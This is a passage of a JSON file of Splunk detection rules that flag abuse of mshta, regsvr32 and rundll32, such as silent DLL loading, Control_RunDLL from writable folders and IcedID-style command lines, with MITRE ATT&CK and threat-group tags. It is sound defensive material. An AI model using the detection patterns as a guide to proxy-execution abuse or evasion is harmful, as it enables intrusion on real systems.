`mshta_spawning_rundll32_or_regsvr32_process_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a mshta parent process $parent_process_name$ spawn child process $process_name$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Regsvr32 Silent and Install Param Dll Loading", - "description": "The following analytic detects the loading of a DLL using the regsvr32 application with the silent parameter and DLLInstall execution. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments and parent process details. This activity is significant as it is commonly used by RAT malware like Remcos and njRAT to load malicious DLLs on compromised machines. If confirmed malicious, this technique could allow attackers to execute arbitrary code, maintain persistence, and further compromise the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` AND Processes.process=\"*/i*\" by Processes.dest Processes.parent_process Processes.process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"(?i)[\\-|\\/][Ss]{1}\") | `regsvr32_silent_and_install_param_dll_loading_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Data Destruction", - "Hermetic Wiper", - "Living Off The Land", - "Remcos", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a DLL using the silent and dllinstall parameter.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Regsvr32 with Known Silent Switch Cmdline", - "description": "The following analytic detects the execution of Regsvr32.exe with the silent switch to load DLLs. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions containing the `-s` or `/s` switches. This activity is significant as it is commonly used in malware campaigns, such as IcedID, to stealthily load malicious DLLs. If confirmed malicious, this could allow an attacker to execute arbitrary code, download additional payloads, and potentially compromise the system further. Immediate investigation and endpoint isolation are recommended.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.dest Processes.process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"(?i)[\\-|\\/][Ss]{1}\") | `regsvr32_with_known_silent_switch_cmdline_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "IcedID", - "Living Off The Land", - "Qakbot", - "Remcos", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a DLL using the silent parameter.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.010", - "mitre_attack_technique": "Regsvr32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "Blue Mockingbird", - "Cobalt Group", - "Deep Panda", - "Inception", - "Kimsuky", - "Leviathan", - "TA551", - "WIRTE" - ] - } - ] - } - }, - { - "name": "Rundll32 Control RunDLL Hunt", - "description": "The following analytic identifies instances of rundll32.exe executing with `Control_RunDLL` in the command line, which is indicative of loading a .cpl or other file types. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant as rundll32.exe can be exploited to execute malicious Control Panel Item files, potentially linked to CVE-2021-40444. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*Control_RunDLL* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_control_rundll_hunt_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a suspicious file from disk.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 Control RunDLL World Writable Directory", - "description": "The following analytic detects the execution of rundll32.exe with the `Control_RunDLL` command, loading files from world-writable directories such as windows\\temp, programdata, or appdata. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process command-line data and specific directory paths. This activity is significant as it may indicate an attempt to exploit CVE-2021-40444 or similar vulnerabilities, allowing attackers to execute arbitrary code. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*Control_RunDLL* AND Processes.process IN (\"*\\\\appdata\\\\*\", \"*\\\\windows\\\\temp\\\\*\", \"*\\\\programdata\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_control_rundll_world_writable_directory_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a suspicious file from disk.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 DNSQuery", - "description": "The following analytic detects a suspicious `rundll32.exe` process making HTTP connections and performing DNS queries to web domains. It leverages Sysmon EventCode 22 logs to identify these activities. This behavior is significant as it is commonly associated with IcedID malware, where `rundll32.exe` checks internet connectivity and communicates with C&C servers to download configurations and other components. If confirmed malicious, this activity could allow attackers to establish persistence, download additional payloads, and exfiltrate sensitive data, posing a severe threat to the network.", - "search": "`sysmon` EventCode=22 process_name=\"rundll32.exe\" | stats count min(_time) as firstTime max(_time) as lastTime values(query) as query values(answer) as answer values(QueryResults) as query_results values(QueryStatus) as query_status by process_name process_guid Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_dnsquery_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process $process_name$ made a DNS query for $query$ from host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 LockWorkStation", - "description": "The following analytic detects the execution of the rundll32.exe command with the user32.dll,LockWorkStation parameter, which is used to lock the workstation via command line. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it is an uncommon method to lock a screen and has been observed in CONTI ransomware tooling for defense evasion. If confirmed malicious, this technique could indicate an attempt to evade detection and hinder incident response efforts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rundll32.exe Processes.process= \"*user32.dll,LockWorkStation*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_lockworkstation_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ with cmdline $process$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 Process Creating Exe Dll Files", - "description": "The following analytic detects a rundll32 process creating executable (.exe) or dynamic link library (.dll) files. It leverages Sysmon EventCode 11 to identify instances where rundll32.exe generates these file types. This activity is significant because rundll32 is often exploited by malware, such as IcedID, to drop malicious payloads in directories like Temp, AppData, or ProgramData. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, establish persistence, or escalate privileges within the environment.", - "search": "`sysmon` EventCode=11 Image=\"*rundll32.exe\" TargetFilename IN (\"*.exe\", \"*.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by Image TargetFilename Computer | rename Computer as dest | rename TargetFilename as file_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_process_creating_exe_dll_files_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process drops a file $file_name$ on host $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 with no Command Line Arguments with Network", - "description": "The following analytic detects the execution of rundll32.exe without command line arguments, followed by a network connection. This behavior is identified using Endpoint Detection and Response (EDR) telemetry and network traffic data. It is significant because rundll32.exe typically requires arguments to function, and its absence is often associated with malicious activity, such as Cobalt Strike. If confirmed malicious, this activity could indicate an attempt to establish unauthorized network connections, potentially leading to data exfiltration or further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where `process_rundll32` AND Processes.action!=\"blocked\" by host _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(rundll32\\.exe.{0,4}$)\" | rename dest as src | join host process_id [| tstats `security_content_summariesonly` count latest(All_Traffic.dest) as dest latest(All_Traffic.dest_ip) as dest_ip latest(All_Traffic.dest_port) as dest_port FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by host All_Traffic.process_id | `drop_dm_object_name(All_Traffic)`] | `rundll32_with_no_command_line_arguments_with_network_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "PrintNightmare CVE-2021-34527", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A rundll32 process $process_name$ with no commandline argument like this process commandline $process$ in host $src$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "RunDLL Loading DLL By Ordinal", - "description": "The following analytic detects rundll32.exe loading a DLL export function by ordinal value. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line executions. This behavior is significant because adversaries may use rundll32.exe to execute malicious code while evading security tools that do not monitor this process. If confirmed malicious, this activity could allow attackers to execute arbitrary code, potentially leading to system compromise, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where match(process,\"rundll32.+\\#\\d+\") | `rundll_loading_dll_by_ordinal_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Suspicious Rundll32 Activity", - "Unusual Processes" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A rundll32 process $process_name$ with ordinal parameter like this process commandline $process$ on host $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious IcedID Rundll32 Cmdline", - "description": "The following analytic detects a suspicious `rundll32.exe` command line used to execute a DLL file, a technique associated with IcedID malware. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing the pattern `*/i:*`. This activity is significant as it indicates potential malware attempting to load an encrypted DLL payload, often named `license.dat`. If confirmed malicious, this could allow attackers to execute arbitrary code, leading to further system compromise and potential data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*/i:* by Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_icedid_rundll32_cmdline_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process $process_name$ with commandline $process$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious mshta child process", - "description": "The following analytic identifies child processes spawned from \"mshta.exe\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific child processes like \"powershell.exe\" and \"cmd.exe\". This activity is significant because \"mshta.exe\" is often exploited by attackers to execute malicious scripts or commands. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the environment. Monitoring this activity helps in early detection of potential threats leveraging \"mshta.exe\" for malicious purposes.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=mshta.exe AND (Processes.process_name=powershell.exe OR Processes.process_name=colorcpl.exe OR Processes.process_name=msbuild.exe OR Processes.process_name=microsoft.workflow.compiler.exe OR Processes.process_name=searchprotocolhost.exe OR Processes.process_name=scrcons.exe OR Processes.process_name=cscript.exe OR Processes.process_name=wscript.exe OR Processes.process_name=powershell.exe OR Processes.process_name=cmd.exe) by Processes.dest Processes.parent_process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_mshta_child_process_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "suspicious mshta child process detected on host $dest$ by user $user$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Suspicious mshta spawn", - "description": "The following analytic detects the spawning of mshta.exe by wmiprvse.exe or svchost.exe. This behavior is identified using Endpoint Detection and Response (EDR) data, focusing on process creation events where the parent process is either wmiprvse.exe or svchost.exe. This activity is significant as it may indicate the use of a DCOM object to execute malicious scripts via mshta.exe, a common tactic in sophisticated attacks. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wmiprvse.exe) AND `process_mshta` by Processes.dest Processes.parent_process Processes.user Processes.original_file_name| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_mshta_spawn_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "mshta.exe spawned by wmiprvse.exe on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Suspicious Regsvr32 Register Suspicious Path", - "description": "The following analytic detects the use of Regsvr32.exe to register DLLs from suspicious paths such as AppData, ProgramData, or Windows Temp directories. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant because Regsvr32.exe can be abused to proxy execution of malicious code, bypassing traditional security controls. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` Processes.process IN (\"*\\\\appdata\\\\*\", \"*\\\\programdata\\\\*\",\"*\\\\windows\\\\temp\\\\*\") NOT (Processes.process IN (\"*.dll*\", \"*.ax*\", \"*.ocx*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_regsvr32_register_suspicious_path_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Qakbot", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ 